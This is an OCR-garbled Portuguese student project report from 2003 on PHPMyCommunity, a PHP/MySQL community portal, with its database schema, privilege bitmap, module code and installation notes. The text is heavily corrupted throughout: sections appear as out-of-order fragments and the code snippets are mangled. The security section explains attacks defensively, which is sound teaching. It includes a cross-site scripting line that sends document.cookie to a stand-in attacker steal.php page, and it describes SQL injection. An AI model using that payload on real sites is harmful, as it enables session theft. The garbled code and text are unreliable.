70. de Cada ES cuca Dana dadas a a ae nen bancada 36    P  gina    6    ISMAI O 2003    4 5 2  SOL ecos    NEKES KE ELET   NEK   t   SSE EL   DER Rana Ea Gina nana dna 37   4 6  SISTEMAS BEPRIVIL  GI  S pia t  tek AE AET e LO   l   seek A a es E L   E Eeen   s  s 38   5S  FUNCIONALIDADES  ccsssisicosa casar e algas N GRE Das aA Oaa AEA NN Ci K  ZL N a e KASS  N NEK k LEK A a 40  5 1  PAGINA DE ENTRADA lei Sd a 40  Dead  Mensagem de boas VINddaS    sssssssssssssssssss  ss      s  s  s  s                  t                                                 t      ee CR R AR SUN DO AE ee    ee e ee Ad Su 40   5 1 2  NONGA Se ae E A A O S ET NETRE kzt 41  5 1 3  Flash ONU sesinin renna E E A E GU E AL  L ao 42   5 1 4  NEWSEla Shi noanean a id Rd dd 42   5 1 5  Sondagens da margem direlta     sssssssss  ssszs  s  s                      s                  t  t                   ee etet             t   DA a ada 43   5 1 6  Slats ae e E A A EAE A RR RD A A 43   5 1 7  MEN   eera aa da a 44   5 1 8  Login   Mensagem PRIVADAS isa rasa ia   t          t                      ee a      ee ee e   t t          e 46   DEZ  SIS LEMASDE NOTICIAS  assa a ia E DA NS RD A Da 46  Sida EOG LOGOUT cobaia Rai ta boda a ind Da DRA RO aaa hs tia So aaa oa a E   52  5 3 1  Inser    o e identifica    o de utilizadoresS         ssssssss  ssss    s    z  s    ss        z                  r                           ee ee ez   e ee ee   t   e ee ee      CADA ee t   ee    etet     t      es 52   NSZ  Altera    o 
71. de da pessoa que se registou   site  caso tenha uma p  gina pessoal  criado para receber esta informa    o   assinatura  usado no f  rum  no fim de cada resposta aparece o conte  do deste campo   ultimo 1p  armazenamento do   ltimo ip do utilizador   identifica    o  ou registo    numero post  valor representativo do n  mero de respostas ou t  picos escritos   nivel  valor em decimal dos privil  gios do utilizador    localidade  tal como o seu nome o indica  este campo acolhe o nome da localidade   id regiao  identificador do distrito do utilizador    id grupo  identificador do grupo em que pertence o utilizador    recup questao  pergunta usada para recuperar uma palavra chave     recup resposta  resposta necess  ria a quest  o para recuperar a palavra chave     membros offline  tabela com 10 campos suportando toda a informa    o relativa a uma pessoa    pertencendo a um grupo  mas n  o que n  o possui Internet  Este membro    criado pelo administrador de    um grupo     1d   chave prim  ria  identificador do membro offline    nico e auto incrementado   id regiao membros offline  identificador relativo ao distrito do membro    id grupo membros offline  identificador relativo ao grupo a que pertence   nickname  alcunha usada pela pessoa  ou inventado pelo respons  vel do grupo   nome membros offline  nome real do membro    Idade membros offline  idade do membro    localidade membros offline  dados armazenando a localidade do membro   hobbies membros offline  passatempos  activ
72. de mensagens privadas funciona tal p DDT  como uma caixa de correio electr  nico  indicando o  n  mero de novas mensagens n  o lidas  A sua coloca    o       essencial  mas a sua visibilidade    primordial  Tendo a       oportunidade de testar v  rias disposi    es na p  gina  TI 0    e f d ZKT  constatou se em v  rias pessoas que o s  tio mais indicado Re eai     realmente no canto superior direito  Como todos    sabemos  o sentido de leitura no Homem ocidental    em       forma de    Z     onde a maior import  ncia    sempre dada    TT NN     rea na qual est   colocado o nome do site  e logotipo   juntamente com o menu  passando pela   rea da  descri    o da p  gina e acabando na zona das mensagens privadas  Para o utilizador n  o identificado  esta  zona est   reservada para efectuarem a sua identifica    o  Para n  o desfazer a p  gina  os formul  rios de  login e de pesquisa foram realizados em Macromedia Flash   assim nunca s  o deformados  Por exemplo   usando CSS    vers  o 2  consegue se um efeito semelhante  mas que n  o ser   igual em todos os  navegadores  Esta diferen  a que pode ser medida ao pixel poderia deformar as tabelas  A escolha do  Flash foi dif  cil e controversa  na medida em que  era um requisito a realizar pelo cliente e n  o pelo  servidor  Mas  hoje em dia  mais de 90  dos browsers actuais j   t  m a possibilidade de descarregar da  Internet este plug in  Menos de 1 Megabyte      De qualquer forma  todos os clientes que n  o poder  o ter o  Flash 
73. do  PHP  conseguimos incluir todos os ficheiros para a apresenta    o do documento     por isso que  ao  contr  rio da programa    o de p  ginas est  ticas  unicamente em HTML   o primeiro ficheiro do  PHPMyCommunity    relativamente pequeno  A amostra de c  digo exemplifica como funciona o primeiro    ficheiro a ser processado pelo servidor web       index php    lt  PONI   eres   eonig ND    27   Clone   a    lt head gt     lt pie Lle gt  lt  7pno echo  SST nome     cos caca   lt  head gt      lt body bgcolor    DBDBDB  text  4666666  link     EBEEBE T  vlink   FERFEE   alink   FFFFFF  leftmargin  6  topmargin  6  marginwidth  0  marginheight  0  gt    lt 7   inelucde  Yincelucde main  D mot  E   R    TOONE  e mem       Num primeiro tempo       chamado    o ficheiro config php que vai definir a vari  vel  SITE_nome   Depois  existem algumas linhas para criar as defini    es b  sicas do site  cor de fundo  margens  cor do    texto e hiperliga    es   Para terminar com o motor principal da plataforma  main php     4 2  Main php     O ficheiro main php    respons  vel por    chamar    a estrutura e os outros ficheiros encarregues  pelas v  rias fun    es e m  dulos    Este ficheiro    o mais importante  porque    o primeiro passo para a estrutura gr  fica e para a  seguran  a do site  pois vai dividir o site em 5 partes  topo  lado esquerdo  centro  lado direito e base    onde cada uma destas componentes ser   respons  vel por outras funcionalidades todas elas relacionadas    
74. do o em lista de espera para a entrada no novo grupo    Toda a programa    o  permitindo esta funcionalidade  est   inserida no ficheiro    a pessoal php     onde s  o    retiradas as principais linhas do c  digo PHP     P  gina 54    ISMAI O 2003       Apagar gualguer outro pedido gue tenha sido feito antes    sql del old pedidos  delete from pedidos grupos where   id user pedido  Sid session      Sresultado del old pedidos mysqgl db query   SMYSQL server bd   Ssal del old pedidos         Pedido de transfer  ncia de grupo       bancar a pedido ce inserto no grupo    S data pedido date  5 m Y      Ssal mp admin  insert into pedidos grupos  id user pedido    Vo grupo pedido  data pedido JVATUES  Sic  session   Scampo grp  data pedido     Sresultado mp admin  mysql db query   SMYSQL server bd   Ssal mp admin    1f  Sresultado mp admin  i      antes de enviar uma MP para o administrador do grupo em quest  o  vamos  primeiro apagar os MP que possam ter sido enviados antes   SO  S sal del old mp  delete from mp where mp assunto  Pedido de transfer  ncia para o  grupo  and id remetente  Sid session     Sresultado del old mp   mysel db query   SMYSQL server bd   Ssal del old mp      I      Colocar uma mensagem privada na caixa de correio do respons  vel deste grupo  para avisar lhe de dar uma vista de olhos a sua sec    o de  administra    o  campo gripe e Sid admin gripe    a    send mp adminG  Siol session  Sid admin grupo  2Scampo grupo         5 3 3  Recupera    o da palavra cha
75. dos dados pessoais do utilizador      ssssssssssszsss  sss  s        sss  z  e    s                                      t               t      t     t        t        e   t                     t  t        es 54   5 3 3  Recupera    o da palavra Chave rasta Essas a SR SS                 t          ee 55   5 4  SISTEMA DE MEMBROS oana sd O T N E     KET ASLAN ele kOS  SZA  N 56  5 4 1  Sesuran  a dos dados PESSOAIS se sela onrar a a a EN   g  l 57   5 4 2  P  gina principal dos membros aaa tri co E pa DR id a EE 57   5 4 3  Listagem dos mem O OT E NA a a a RD a TaS 58   5 4 4  Administra    o dos grupos dememDroS casaatas nessa A A in a 61   5 4 5  Administra    o dos MEMDFOS     ssssssssss  s  ss  ss  s            t      z                 t       e                   ee   t                  t        ee ete RIA CATA ee ee ee   t   ee ee NAN asa sia 63   55  F  RUM DE CONVERSAS ss asi E E E E A T tett lb s  ei 65  5 5 1  Listagem das C  L  S  TT  S eszes k  ses a a a E DR GERE 65   2 22  Listagem do conte  do de um f  rum       sssssssssssssssssss  s  s      ss  s                                         ee ES dA dd 67   5 5 3  Estac deun topicom senine a E SK dee aa 70   5 6  ARTIGOS  PRODUTOS  DOWNLOADS E LINKS    ssssssesessessssssesttttrtriresssss tett tttttttt estres tett t teess Seet tete ee   t   t       t       etet   t   t  t     t  t  t    t    ee 71  Ih SONDAGENS  asane er R a a a a a R R a 74  5 8  MOTOR DE PESQUISA ss ezzek estet a ee LEK a Se dd a ga Rc da ad a da N
76. e  a   ltima informa    o    o conte  do em si    Estas caixas est  o presentes em todo o site  por isso a fun    o    alter  vel pelo webmaster  onde    lhe basta alterar o c  digo para depois poder modificar todo o aspecto gr  fico da p  gina     template a  gfx icone mp gif     echo   Mensagens Privadas     template b      echo   Sgreetings      template c     mostrar mp   nivel user  Sid    template d                      Enviado por  Data de envio     gade 21 10 2003  User 27 09 2003  gade 20 09 2003    gade 3 08 2003       Ilustra    o 8     Caixa de mensagens privadas  que ilustra perfeitamente o uso de  modelos gr  ficos  ou templates  no PHPMyCommunit         P  gina 21    Relat  rio do projecto   PHPMyCommunity    As cores usadas no PHPMyCommunity  s  o bastantes funcionais e recomendadas em todo o  mundo  nomeadamente pelo especialista acima referido  Jakob Nielsen que  aconselha usar texto preto  com letras brancas  Esta combina    o de cores permite uma   ptima legibilidade com um contraste  m  ximo  As cores da caixa de texto    cinza claro para o fundo e preto para o texto  respeitando assim os    conselhos dos autores        Sur 72  des pages d accueil   tudi  es  le texte s affiche en noir  la plupart du temps sur un fond blanc   cette combinaison procure un contraste maximal et une lisibilit   optimale  et rappelle les textes imprim  s    tradicionnels                 3 2 3  T  tulo de navega    o    Os t  tulos de navega    o permitem ao visitante estar a p
77. e cada utilizador possui um n  vel criado a partir da transforma    o bin  ria para  decimal  Estes privil  gios s  o dados de duas maneiras diferentes  pelo webmaster ou pela plataforma  Por    exemplo  um visitante ter   o n  vel    um    automaticamente dado pelo sistema  um utilizador registado    I TERE e B a E a  Como exemplo  sugere se a visualiza    o desta p  gina que indica como este tipo de ataques podem se tornar    prejudicais  http   www  sitepoint com article 794 3    P  gina 38    ISMAI O 2003    possui o n  vel    tr  s     igualmente definido pela plataforma  Os restantes privil  gios ser  o definidos pelo  webmaster directamente atrav  s da gest  o dos utilizadores  O webmaster  root  tem o n  vel m  ximo     nico e inalter  vel de 4095  Entre esses valores existem uma grande quantia de n  veis  definindo assim  as  permiss  es e os acessos dos administradores nas suas respectivas categorias     Defimiu se ent  o o seguinte mapa de bits  onde cada bit representa um privil  gio     000000000001   Visitante   000000000011   Utilizador registado  000000000111   Respons  vel dos artigos  000000001011   Respons  vel do f  rum  000000010011   Respons  vel das sondagens       000000100011   Respons  vel dos produtos          000001000011   Respons  vel dos downloads  000010000011   Respons  vel dos links  000100000011   Respons  vel dos membros  001000000011   Respons  vel das noticias  010000000011   Respons  vel dos membros  111111111111   Administrador do siste
78. e dois    elementos     ap comentarios dl comentarios  estas duas tabelas tem exactamente a mesma fun    o  armazenar todos  os coment  rios  A primeira guarda os artigos e os produtos  a segunda os downloads e as hiperliga    es   Apesar de serem iguais  os nomes de alguns campos poder  o variar   1d   chave prim  ria  identificador do coment  rio    nico e auto incrementado    id ap   e 1d referer   identificador referente ao id do item da tabela ap ou dl    corpo  conte  do do coment  rio    owner   enviado por  nome por extenso da pessoa que colocou o coment  rio    data dia  data em que foi inserido o coment  rio     data hora  hora em que foi inserido o coment  rio     P  gina 28    ISMAI O 2003    Ed    config  como o seu nome indica  esta tabela    respons  vel por alguns par  metros da plataforma  O  utilizador final poder   alterar este dados directamente pela sua   rea de administra    o  Esta tabela s    possui uma linha de dados    nome do site   chave prim  ria  este campo armazena o nome da p  gina    welcome  t  tulo da janela de apresenta    o  p  gina inicial     welcome msg  conte  do da mensagem da janela de apresenta    o     welcome ass  assinatura da mensagem da janela de apresenta    o     menu  tabela encarregada de guardar os itens do menu na base de dados   id   chave prim  ria  identificador do item do menu       nico e auto incrementado   posicao  identificador da categoria do menu a qual ele pertence   nome item  nome do item  este nome ser   vis
79. e est   a ser usado pela v  tima   SEE    window open  http   www h4x0r cOm steal php c    document  cookie     lt   SCEIDET gt     Estas t  cnicas s  o aterradoras  o pior    imaginar que o administrador do site tem o login  autom  tico activado  oferecendo assim as chaves da sua p  gina ao atacante  dando lhe sem o seu  consentimento o acesso a toda a administra    o da p  gina    Estes exemplos s  o suficientes para entender o grav  ssimo problema da inser    o de c  digo  externo  Foi por estas raz  es que no PHPMyCommunity criou se uma fun    o especialmente para limpar  todo e qualquer texto HTML em todos os formul  rios  porque nunca se esqueceu que a plataforma tem    que funcionar para qualquer tipo de comunidade     4 5 2  SOL Injection    Qualquer p  gina da Internet que use uma base de dados pode tornar se  facilmente para os mais  s  bios  uma verdadeira fonte de pirataria     perfeitamente poss  vel  atrav  s de pedidos maliciosos obter  informa    es da base de dados sem ter estas permiss  es e claro  sem inten    es do programador da p  gina   Por alguns pedidos SQL serem mal constru  dos  o atacante pode efectuar v  rias modifica    es na base de  dados  tais como  seleccionar dados  apagar ou alterar ssmplesmente  manipulando o pedido SQL    Tendo por base o seguinte exemplo  um pirata poderia misturar c  digo SQL com inser    o de  c  digo dentro de uma p  gina pelo simples motor de pesquisa  Por isso  vamos supor que existe um campo  onde o visitante possa
80. e uma  diferencia    o entre os dois    owner  nome do utilizador que publicou o artigo ou o produto    preco  caso existe  este campo guarda o pre  o do produto    data dia  data em que foi publicado    data hora  hora em que foi publicado     gfx   caso existe uma imagem relativa  este campo ira guardar o caminho completo da imagem     dl  tabela incluindo 9 campos respons  vel pelo armazenamento de todos os downloads e hiperliga    es   id   chave prim  ria  identificador do download ou da hiperliga    o    nico e auto incrementado   nome  este campo refere se ao nome do download ou da hiperliga    o   url  campo armazenando o url completo da p  gina  link   ou do ficheiro  download    descricao  a fun    o deste campo    guardar todas as descri    es    Inserido  nome do utilizador que inseriu o item    tipo  diferenciador entre os dois tipos     links    ou    downloads       dl cat  identificador da categoria correspondente    data dia  data em que foi publicado     data hora  hora em que foi publicado     ap cat  dl cat  estas duas tabelas s  o id  nticas  a   nica diferen  a reside no tipo de dados que v  o  armazenar  na primeira ira guardar as categorias de artigos e produtos  e na segunda as categorias de  download e hiperliga    es    1d   chave prim  ria  identificador da categoria    nico e auto incrementado    nome  nome da categoria    descricao  descri    o da categoria    tipo  tal como na tabela ap e dl  o tipo representa aqui o meio de diferencia    o entr
81. e visualizar aplica    es Flash     P  gina 46    ISMAI O 2003    uma percep    o da informa    o com a possibilidade de clicar numa hiperliga    o e visualizar a not  cia no  seu todo    Cada categoria de not  cia possui uma pequena imagem associada  enviada pelo administrador da   p  gina  Todas elas t  m um nome e uma descri    o  edit  veis em qualquer momento pelo webmaster   Por medidas de organiza    o  somente o administrador m  ximo poder   criar  editar ou apagar categorias  de not  cias  sendo algo que n  o ser   preciso ser alterado com frequ  ncia  Preferiu se limitar esta  possibilidade a uma s   pessoa  Em contrapartida  os utilizadores com privil  gios de escrita de not  cias  poder  o criar todas as not  cias que julgarem necess  rias  ter  o assim a possibilidade de editar e apagar  not  cias cuja autoria seja dos pr  prios    Existe uma hiperliga    o em todos os resumos que permite visualizar a not  cia no seu todo  Se a  not  cia tiver uma imagem associada  esta ser   mostrada em tamanho reduzido de forma a n  o danificar o  aspecto geral das listagens e  como      bvio  o design da p  gina    O sistema de not  cias corresponde a tr  s p  ginas de visualiza    o  mais uma p  gina dedicada     administra    o  A primeira    a listagem das   ltimas not  cias publicadas no portal  integradas em  categorias  onde apenas s  o representadas aquelas que possuem novidades  A primeira p  gina    o ponto  de partida para a visualiza    o completa das not  cias  per
82. ect id titulo  data post hora post  count  id forum   id user  id topic thread mstime from forum posts where thread  1  and  id forum  Sid forum get  order by  mstime limit Sinicio   fim      Sresultado list thread  mysql db query   SMYSQL server bd   Ssqgl list thread    it  ce sultado list tazsad      while  Sregisto list thread mysagl fetch array    Sresultado list thread     Stitulo Sregisto list thread  titulo     Sid Cropic Sregisto list thread  1d topic     S data post Sregisto list thread  data post J    Shora post S registo list taread hora post      Scount Sregisto list thread  count     Sid Forum Srcoquisto Tist chread l ad Forum   LO user  registo list threadi    id usse    y  Sia topic  registo list thread id topic     E   E       Cada f  rum possui os seus pr  prios t  picos com nome  ordem  descri    o e outras defini    es  Os  f  runs podem ser editados pelos respons  veis do mesmo  No PHPMyCommunity  n  o existem  administradores diferentes para cada f  rum  todos t  m a capacidade de editar  criar ou apagar f  runs  Esta    escolha deve se ao facto que  em muitos f  runs existem tr  s ou quatro administradores  mas que n  o t  m    P  gina 67    Relat  rio do projecto   PHPMyCommunity    necessariamente acesso   s outras categorias  originando problemas  Por exemplo  quando    o primeiro a  ver um t  pico ou resposta inadequada  n  o tem permiss  es para erradicar aquela informa    o   A administra    o dos f  runs    feita como as categorias  ou seja  na m
83. ee rice eeeeeeerererreaeeeeaaneeeanananaeeeo 54  Ilustra    o 21  Exemplo de resultado  quando executado o pedido de recupera    o da palavra chave                            56  Liustta    o 22  Pagina de acesso dos IEN Di OS sa ss  g K  t ls SK nd doa a 58  Ilustra    o 23   Exemplo de resultado obtido de um utilizador com um username iniciando em  U                             59  Ilustra    o 24  P  s ima pessoal do STUpO  essas assis etesse MORENA Ra TRA O META GEC ASERA Cadeia dr   SS co du ea dd 60  Ilustra    o 25  Cada distrito possui uma imagem d  ferente                   0    sssssggg lee ezezzssssss                     ee   t                            t  t                 es 60  Ilustra    o 26  Exemplo de resultado com um grupo tendo 1 pedido de InSerc  o                        ssssss lee eeeeeeeeeeee    ssss 62    Ilustra    o 277   Listagem dos membros com as suas respectivas op    es e formul  rio para envio de mensagens privadas    DOS MIC DROS esz  t doa a AE E RR A AT O a RE 63  Ilustra    o 28  Selec    o dos privil  gios com a respectiva ajuda                     sssggg ggg zzzss  s  s                         s  t                        t   t  t         s 64  linstra    o 29   Exemplo de cales oras de TOM  passas a TAUM ea AE SUAR cd 66  Ilustra    o 30  Listagem dos t  picos reduzida a quatro elementoOs                         sssssssgg eeeeeeeeeeeeeerrerreeereaaaeenanananeeeo 67  Ilustra    o 31  Edi    o de um forum  com as suas devidas permiss  es  
84. eitamente o uso de modelos gr  ficos  ou templates  no    EHEMyCoOmM uni o essi t  szta SAR ea PT Se Ra elk a 21  lustratio 9   Barrado NAVES AC  O asia OD ID SR Si T   LES 22  Ilustra    o 10  Janela de apresenta    o do site com a mensagem do Jakob Nielsen                                         ss 23  Ilustra    o 11  Resultado gerado pelo PHP  ap  s inser    o de not  cias                                ssss e zzeze  seeeeee  ee                es 41  Ilustra    o 12   Amostra de resultado gerado pelo PHP                  erre rer e cer erre e eee aaa rererrereaeearaaarenanananaeo 42  Iustracio 13  Menu criado sem ouso do GD sima ana nd Eai ete sk  l  k es  k   zletelek E zt   lek es  s  t bek  rt 44  Ilustra    o 14     Resultado obtido ap  s identifica    o com mensagem privada pendente                                 ssssssssss  46  Ilustra    o 15     Resultado obtido ap  s ter seleccionado uma categoria de not  cias                cci ires 47  Ilustra    o 16  HTML gerado pelo PHP quando apresenta uma noticia no seu todo                cce ires 48  Ilustra    o  I7   Administra    o das NOTICIAS  eseteket a a qa Tapada a a Ee dA Da LE 50  Ilustra    o  18   Edi    o da catesoria de Nocas  aiei par sedan E ces foi ide ca SA Et ci cu s ven dan a   a 51  Ilustra    o 19  Formul  rio de registo  Todos os campos obrigat  rios est  o assinalados com                                      53  Ilustra    o 20  Janela de altera    o da palavra chave  password                   c
85. el ao utilizador comum    a que possibilita a leitura da    not  cia no seu todo        Ol   a todos   d   p  s  v  rias horas de trabalho  consequi ze  em funcionamento    sistema de mensagens    privadas     possivel a partir de hoje receber  editar     colocar    cm m pmm O bemp e e qm q mm        mm    responder  apagar   s suas mensagens pessoais  e    Claro enviar MP para todos os utilizadores  registados do site       Espero que seja uma fun    o util  que a saibam  aproveitar bem     Se alguem encontrar falhas de seguran  a  ou de    funcionamento    favor informar o web dev  do    FHEMy Community por email  gadeginetcabo  pt    Muito obrigado  e desejo de muitas horas com a    plataforma PHEMyCommunity     Um abra  o        Ruben Alves       noticia lida 53 vezes    Ilustra    o 16  HTML gerado pelo PHP quando apresenta uma noticia no seu todo        Apesar do PHPMyCommunity ser uma ferramenta que pretende substituir as p  ginas em HTML    est  tico  sem formas de interagir com os seus visitantes  A not  cia n  o permite a inser    o de coment  rios    P  gina 48    ISMAI O 2003     a n  o que seja criado um t  pico no f  rum de conversa  porque o seu objectivo    simplesmente informar  unilateralmente  O contador de leitura da not  cia    a maneira de controlar o n  mero de pessoas que  tiveram a curiosidade de ler mais acerca do resumo proposto  A sua forma optimizada de inser    o na base  de dados permitiu a sua coloca    o na p  gina  O pr  ximo c  digo elucida 
86. em Internet    Para n  o parecer muito generalista o texto retornado ao administrador foi pormenorizado para  evitar erros gramaticais como     Utilizadores em lista de espera   0     Minuciosidade resolvida por outras  aplica    es com o plural entre par  ntesis  Dado uma maior confian  a sobre no PHPEMyCommunity porque   apreciando estes detalhes  os utilizadores mais experientes ver  o nesta plataforma  uma ferramenta s  lida  e segura  O seguinte exemplo mostra como    poss  vel realizar este tipo de detalhes    it   m pecidos gt i  i    ver_pedidos  ver pedidos    Sfrasinha   lt td gt Utilizadores em lista de espera     jelse   Sver pedidos  ver o pedido    Sfrasinha   lt td gt Utilizador em lista de espera        if   n pedidos    9   echo   lt stad Utilizador em lisca de espera   lt font cColor V greenv   lt   b 0  b gt   fonc gt      Jelse  echo  Strasinha  lt font  COlor   redN  gt  lt b gt Sn pedidos lt  b gt  lt  font gt    lt a    href N index php p adming amp auth a mygroup amp act ver pedidos amp g SidN  gt  lt font  colors  black    gt  lt u gt  ver pedidos lt  u gt  lt  a gt         Como referido h   pouco  a altera    o ou a inser    o num grupo passa pela aceita    o pr  via do  respons  vel que recebe uma mensagem privada  pedindo para aceitar ou n  o o utilizador  Todo este  processo pode ser eventualmente realizado pelo dono da plataforma  Todavia    recomendado deixar isto  ao cuidado do dirigente do grupo  Deste modo  a divis  o de tarefa possibilita um
87. empre actual e em permanente evolu    o     NOTA  Ca    o de Equipas   Para a cria    o de uma nova equipa  enviar uma PM  para o administrador  root  com o Nome da Equipa  e o nome de quem deve ser o lider  gestor do  grupo  A situa    o ser   avaliada e processada a mais  r  pidamente possivel     Ilustra    o 40   Exemplo de aplica    o do PHPMyCommunity a um caso real    www airsoftportugal com      forum    log in    EB  PASS RD   REGISTAR    fr sondagens    Em que   rea  gostaria de ver  mais esfor  o de  evolu    o  empregue no  ASPT com     Co      rum          Relat  rio do projecto   PHPMyCommunity    Ma li i imi as portugal   noticias   membros   forum    home  noticias  membros    Forum    gt  Discuss  o de   mbito geral     produtos     artigos F  rum Geral 16 11 2003   23 59 fm  E 103 13   sondagens Para os aszuntos que n  o cabem em Mais nenburma categoria    por Srtimmm   ESqQuisa   PETERE Zona Iniciantes 13 11 2003 09  22   e Lugar ideal  para apresenta    o e ambientac     de POVOS adeptos e 17    por MORPHEU   Ra zolocac     de quest  es Variadas        m  q mi  t     gt   Zona dedicada ao modding     repara     aos novos projectos relacionados com a modalidade     Problemas  Dicas e Solu    es 15 11 2003   21 35 E  Area rerervada a resolu    o de problemas au colocacao de dicas t  cnicas  por Settra  Custom  amp  Modding   Aum destinado 205 projectos de armas CUStomE e a Coloca    o de por Ee   ROKOS apetrechos     forum Armas e Armamento Hoje as   00 13 E
88. entre si     1    O include serve para    chamar    um documento dentro de outro documento     P  gina 32    ISMAI O 2003    O ficheiro main php     igualmente respons  vel pela mudanca de layout vista no f  rum  onde o  lado direito desaparece para deixar mais espa  o para o conte  do do texto   O c  digo seguinte    uma amostra do ficheiro main php  onde podemos verificar como    feita a       chamada    dos 5 ficheiros respons  veis pela apresenta    o do site      lt table width  760  border  0  cellpadding  0  cellspacing  0  gt   Cbr cp COlgpans  2  gt     lt  php include     include top php     gt    o Rel Nena uia    lt td bgcolor  tFFFFFF  align  left  valign  top  gt     lt table width  760  border  0  cellspacing  0  cellpadding  0  gt    lt tr gt  lt tod align  left    valign  top    videnh    T2U pPackground  gix meni Polmenu gre   lt  php include     include menu php      gt    pel    lt td valign  top  widch   555  gt     lt table width  100   border  0  cellpadding  5  cellspacing  0  gt    lt tr gt  lt td gt  lt div align  center  gt     lt  php include     include linker php     gt    eo ue    lt  table gt    Edo  lt ca widep   2    align  riighe    valion  top     backoroumnd  9ix quadros right php bo quim    lt  php include     include right php       gt    e prob pre    lt  table gt     lt  TA gt S  TESLE      ta colspan   2Y    lt  php include     include footer php     gt    POD Uria     lt  table gt        4 3  Organigrama da rela    o entre os ficheir
89. erveur     online  Dispon  vel na Internet via WWW  URL     http   dev nexen net scripts details php scripts 622  visto em 15 de Setembro 2002     Relat  rio do projecto   PHPMyCommunity    GLOSS  RIO    BROWSER  Software que serve de cliente ao protocolo HTTP     COOKIES  Ficheiro texto enviado por um site ao visitante  contendo informa    o acerca da p  gina que    est   a ser vista  Podendo igualmente ter informa    o relativa aos dados pessoais     C S S  Cross Site Scripting     uma forma de piratear uma p  gina web  inserindo c  digo estrangeiro e n  o    desejado por parte do criador original     DNS   Domain Name System   Sistema que permite a tradu    o de nomes de computadores em endere  os    IP     HTML  HyperText Markup Language  Linguagem de programa    o usada para a cria    o de documentos    hrpertextos usados na www     HTTP  Protocolo para transferir ficheiros de hipertexto pela Internet  Precisa de um cliente http  mais    comunalmente denominado por Browser     LINUX  Mundialmente conhecido como sendo o derivado de Unix com o c  digo de fonte aberto  ou seja    dispon  vel para a rede mundial     PHP   Hypertext Preprocessor  Linguagem de script embutida no HTML  Como o c  digo    embutido no  HTML  os utilizadores n  o conseguem visualizar o c  digo fonte  A grande parte da sintaxe foi  emprestada a linguagens como o C  Java e Perl     SQL  Structured Query Language  Linguagem especializada para enviar pedidos para bases de dados     UNIX  Sistema operat
90. estes foruns        gt  Tem porary c at    forum temporario 1 1 28 10 2003   21 27  isto    um Forum SO para testes   porgade 7    Ilustra    o 29   Exemplo de categorias de f  rum        Tal como as outras componentes de administra    o  as categorias s  o control  veis pelo menu   onde o dono da plataforma poder   eventualmente editar  criar ou apagar categorias de f  rum  A   ltima  op    o    mais pormenorizada  visto que  s      permitido apagar categorias quando elas n  o t  m f  runs  associados   medida preventiva que impede apagar uma grande quantidade de f  runs e t  picos por erro de  manipula    o   Esta verifica    o    efectuada no ficheiro a catforum php  como exp  e o seguinte c  digo    retirado da fun    o show delete it cat Sid      primeiro vamos verificar se o id da categoria n  o possui f  runs associados   depois vamos apagar a categoria  caso a primeira condi    o    verificada      sql cat forum  select COUNT  id forum cat  as cnt from f  rum where   td rorum cat   Sie We   Sresultado cat forum  mysql db query   SMYSQL server bd   Segl cat forum    Sregisto cat forum mysqgl fetch array  Sresultado cat forum     s  n foruns  registo cat forum   cnt      LE   m foruns  0        como o numero de f  runs    igual a 0  ent  o vamos apagar esta categoria   sql delete forum  delete from forum cat where id forum cat    Sid     Sresultado delete forum  mysql db query   SMYSQL server bd     sql delete forum    Sresultado  Categoria apagada do sistema      Peles
91. figurada podendo ser alterada no  ficheiro settings inc php   admin FicheiroDe Administracao phphits      Verificar se   s directorias onde ser   efectuado o envio de imagens est  o com as permiss  es de    escrita e leitura     a   gfx artigos   b   gfx forum posts   c   gfx grupos   d   gfx news cat   e   gfx news im noticias  f   gfx outros   g   gfx produtos   h   gfx users    P  gina 83    Relat  rio do projecto   PHPMyCommunity    B   AP  NDICE  C  DIGO SQL      phpMyAdmin MySQL Dump     version 2 2 6   t http   phpwizard net phpMyAdmin    t http   www phpmyadmin net   download page          E ae das do E DE E E E do E do E sd E o do E O do E E E o E tea A N E E N E a eg EE L E E        Estrutura da tabela  ap          DROP TABLE IF EXISTS ap     CREATE TABLE ap       1d int  32  NOT NULL auto_increment    ap cat int  32  NOT NULL default  O     nome varchar  255  NOT NULL default         resumo varchar  255  NOT NULL default         descricao text NOT NULL    tipo varchar 15  NOT NULL default       owner varchar  200  NOT NULL default         preco varchar  255  NOT NULL default         data dia varchar  20  NOT NULL default       data_hora  varchar 10  NOT NULL default       gfx  varchar  255  NOT NULL default      PRIMARY KEY   id       TYPE MyISAM COMMENT  Tabala dos artigos e dos produtos           Extraindo dados da tabela  ap                  Estrutura da tabela    ap cat          DROP TABLE IF EXISTS ap cat    CREATE TABLE ap cat       1d int 32  NOT NULL auto_i
92. gar a p  gina web a uma  base de dados  criando assim informa    o din  mica  Criando funcionalidades apropriadas  foi poss  vel    desenvolver uma plataforma din  mica  cujo conte  do n  o    unicamente alterado como uma p  gina    est  tica  ou seja  por uma s   pessoa  mas sim por v  rias pessoas     1 3  Requisitos    Para o funcionamento do PHPMyCommunity s  o necess  rios v  rios servi  os  Por ser uma  p  gina web  precisa de estar ligada a um servidor web tornando se indispens  vel a instala    o do m  dulo  PHP para correr os scripts desta plataforma    Trabalhando com uma base de dados do tipo MySQL     igualmente necess  rio a instala    o da mesma    Ser   opcional ter a biblioteca GD compilada com o PHP para a visualiza    o do menu principal   uma vez que  a plataforma permite a cria    o do menu da p  gina com imagens din  micas    Todos estes requisitos precisam de ser instalados  um de cada vez  apesar de existirem programas na    Internet que permitem a instala    o de todo este software de uma s   vez   como por exemplo o easyphp      www easyphp org      1     e 2    Z  Os dois programas ser  o explicados em profundeza no pr  ximo cap  tulo     P  gina 10    ISMAI O 2003    2  INTRODU    O AO PHP    2 1  O que    o PHP     O que    o PHP  A p  gina oficial do PHP apresenta a seguinte defini    o        PHP is a widely used general purpose scripting language that is especially suited for Web development  and can be embedded into HTML          simplesmente u
